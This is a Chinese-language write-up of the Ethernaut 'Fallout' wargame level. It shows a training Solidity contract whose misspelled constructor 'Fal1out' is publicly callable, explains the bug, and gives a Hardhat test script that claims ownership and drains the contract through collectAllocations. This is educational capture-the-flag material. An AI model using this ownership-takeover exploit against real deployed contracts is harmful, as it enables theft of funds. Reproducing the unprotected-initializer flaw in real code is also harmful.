Fallout合约

任务是将合约owner变成自己的地址，然后调用collectAllocations函数

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract Fallout {
    using SafeMath for uint256;
    mapping(address => uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

这道题其实非常简单，是一种粗心大意留下来的bug，在Solidity 0.4.22版本之前函数名与合约名如果一样的话，那表示这个函数是构造函数，在合约里面只能在部署的时候自动调用一次，后续无法直接调用。本题的合约函数Fal1out其实中间是数字1，不是字母l，跟合约不是相同的名字，所以可以随便调用：

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");

describe("RebaseDividendToken Token Test", function () {
    var Fallout;
    it("init params", async function () {
        [deployer, ...users] = await ethers.getSigners();
    });
    it("fallback deploy", async function () {
        const FallOutInstance = await ethers.getContractFactory("Fallout");
        Fallout = await FallOutInstance.deploy();
    });
    it("hack test", async function () {
        expect(await Fallout.owner()).to.not.equal(deployer.address);
        await Fallout.Fal1out();
        expect(await Fallout.owner()).to.equal(deployer.address);

        await Fallout.collectAllocations();
    });
});

测试通过：

Github：hardhat测试仓库

用Hardhat闯关Ethernaut题2 -fallout

Fallout合约